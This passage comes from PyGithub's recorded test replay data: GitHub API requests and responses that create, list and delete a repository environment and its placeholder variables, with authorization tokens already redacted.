cy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-11-23T13:39:27Z","pushed_at":"2023-11-22T13:31:35Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15079,"stargazers_count":6384,"watchers_count":6384,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1695,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":287,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1695,"open_issues":287,"watchers":6384,"default_branch":"main"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-11-23T13:39:27Z","pushed_at":"2023-11-22T13:31:35Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15079,"stargazers_count":6384,"watchers_count":6384,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1695,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":287,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1695,"open_issues":287,"watchers":6384,"default_branch":"main"},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":1695,"subscribers_count":0} https PUT api.github.com None /repos/AndrewJDawes/PyGithub/environments/test {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"wait_timer": 0, "reviewers": [], "deployment_branch_policy": null} 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 15:47:30 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"80052e742f0b4949d8733a7a802b0bdcfe252c4f8ea05cf418711c5cc7788cb4"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4981'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '19'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DE34:12D2:4AB9B9:9AB591:655F7412')] {"id":1725422866,"node_id":"EN_kwDOKoE_5s5m190S","name":"test","url":"https://api.github.com/repos/AndrewJDawes/PyGithub/environments/test","html_url":"https://github.com/AndrewJDawes/PyGithub/deployments/activity_log?environments_filter=test","created_at":"2023-11-23T15:47:30Z","updated_at":"2023-11-23T15:47:30Z","can_admins_bypass":true,"protection_rules":[],"deployment_branch_policy":null} https POST api.github.com None /repos/AndrewJDawes/PyGithub/environments/test/variables {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"name": "VARIABLE_NAME_ONE", "value": "variable-value-one"} 201 [('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 15:47:30 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"a788642757746bcde9de92d247c2259aa7cd5f159df240323d704e110a35a374"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4980'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '20'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'DE35:7DE9:FC4B62:20C885B:655F7412')] {} https POST api.github.com None /repos/AndrewJDawes/PyGithub/environments/test/variables {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"name": "VARIABLE_NAME_TWO", "value": "variable-value-two"} 201 [('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 15:47:30 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"a788642757746bcde9de92d247c2259aa7cd5f159df240323d704e110a35a374"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4979'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '21'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'DE36:33EA:FF9558:212CD98:655F7412')] {} https GET api.github.com None /repos/AndrewJDawes/PyGithub/environments/test {'If-None-Match': 'W/"80052e742f0b4949d8733a7a802b0bdcfe252c4f8ea05cf418711c5cc7788cb4"', 'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 304 [('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 15:47:30 GMT'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"80052e742f0b4949d8733a7a802b0bdcfe252c4f8ea05cf418711c5cc7788cb4"'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4979'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '21'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'DE37:4916:105BA97:21F15D7:655F7412')] https GET api.github.com None /repos/AndrewJDawes/PyGithub/environments/test/variables {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 15:47:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"d97a6046e3e1d6534b73836ec9ac81ae92a13ef593775e70d745f658d10334ff"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4978'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '22'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DE38:7534:10E4A81:2308C28:655F7413')] {"variables":[{"name":"VARIABLE_NAME_ONE","value":"variable-value-one","created_at":"2023-11-23T15:47:30Z","updated_at":"2023-11-23T15:47:30Z"},{"name":"VARIABLE_NAME_TWO","value":"variable-value-two","created_at":"2023-11-23T15:47:31Z","updated_at":"2023-11-23T15:47:31Z"}],"total_count":2} https DELETE api.github.com None /repos/AndrewJDawes/PyGithub/environments/test/variables/VARIABLE_NAME_ONE {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 15:47:31 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4977'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '23'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'DE39:0C70:FD4836:20EA65C:655F7413')] https DELETE api.github.com None /repos/AndrewJDawes/PyGithub/environments/test/variables/VARIABLE_NAME_TWO {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 15:47:31 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4976'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '24'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'DE3A:2B48:10263CF:217EF6E:655F7413')] https DELETE api.github.com None /repos/AndrewJDawes/PyGithub/environments/test {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 15:47:32 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4975'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '25'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'DE3B:4D94:FD63FD:20E4C4B:655F7414')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Environment.testGetEnvironments.txt0000644000175100001660000001450114756101563025252 0ustar00runnerdockerhttps GET api.github.com None /repos/alson/PyGithub/environments?per_page=1 {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 13 Apr 2022 18:02:57 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"ed85111e774379ffa08c34657bedabffff15a4f8e053b94cc89adc52e7f771da"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2022-05-13 15:01:13 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4837'), ('X-RateLimit-Reset', '1649873132'), ('X-RateLimit-Used', '163'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D7DE:34F1:419DBE:43183F:62571051')] {"total_count":1,"environments":[{"id":464814513,"node_id":"EN_kwDOHKhL9c4btIGx","name":"dev","url":"https://api.github.com/repos/alson/PyGithub/environments/dev","html_url":"https://github.com/alson/PyGithub/deployments/activity_log?environments_filter=dev","created_at":"2022-04-13T15:06:32Z","updated_at":"2022-04-13T15:06:32Z","protection_rules":[{"id":216323,"node_id":"GA_kwDOHKhL9c4AA00D","type":"branch_policy"},{"id":216324,"node_id":"GA_kwDOHKhL9c4AA00E","type":"required_reviewers","reviewers":[{"type":"User","reviewer":{"login":"alson","id":19245,"node_id":"MDQ6VXNlcjE5MjQ1","avatar_url":"https://avatars.githubusercontent.com/u/19245?v=4","gravatar_id":"","url":"https://api.github.com/users/alson","html_url":"https://github.com/alson","followers_url":"https://api.github.com/users/alson/followers","following_url":"https://api.github.com/users/alson/following{/other_user}","gists_url":"https://api.github.com/users/alson/gists{/gist_id}","starred_url":"https://api.github.com/users/alson/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/alson/subscriptions","organizations_url":"https://api.github.com/users/alson/orgs","repos_url":"https://api.github.com/users/alson/repos","events_url":"https://api.github.com/users/alson/events{/privacy}","received_events_url":"https://api.github.com/users/alson/received_events","type":"User","site_admin":false}}]},{"id":216325,"node_id":"GA_kwDOHKhL9c4AA00F","type":"wait_timer","wait_timer":15}],"deployment_branch_policy":{"protected_branches":true,"custom_branch_policies":false}}]} https GET api.github.com None /repos/alson/PyGithub/environments {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 13 Apr 2022 18:02:57 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"ed85111e774379ffa08c34657bedabffff15a4f8e053b94cc89adc52e7f771da"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2022-05-13 15:01:13 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4836'), ('X-RateLimit-Reset', '1649873132'), ('X-RateLimit-Used', '164'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D7DF:12F27:1358BD:147359:62571051')] {"total_count":1,"environments":[{"id":464814513,"node_id":"EN_kwDOHKhL9c4btIGx","name":"dev","url":"https://api.github.com/repos/alson/PyGithub/environments/dev","html_url":"https://github.com/alson/PyGithub/deployments/activity_log?environments_filter=dev","created_at":"2022-04-13T15:06:32Z","updated_at":"2022-04-13T15:06:32Z","protection_rules":[{"id":216323,"node_id":"GA_kwDOHKhL9c4AA00D","type":"branch_policy"},{"id":216324,"node_id":"GA_kwDOHKhL9c4AA00E","type":"required_reviewers","reviewers":[{"type":"User","reviewer":{"login":"alson","id":19245,"node_id":"MDQ6VXNlcjE5MjQ1","avatar_url":"https://avatars.githubusercontent.com/u/19245?v=4","gravatar_id":"","url":"https://api.github.com/users/alson","html_url":"https://github.com/alson","followers_url":"https://api.github.com/users/alson/followers","following_url":"https://api.github.com/users/alson/following{/other_user}","gists_url":"https://api.github.co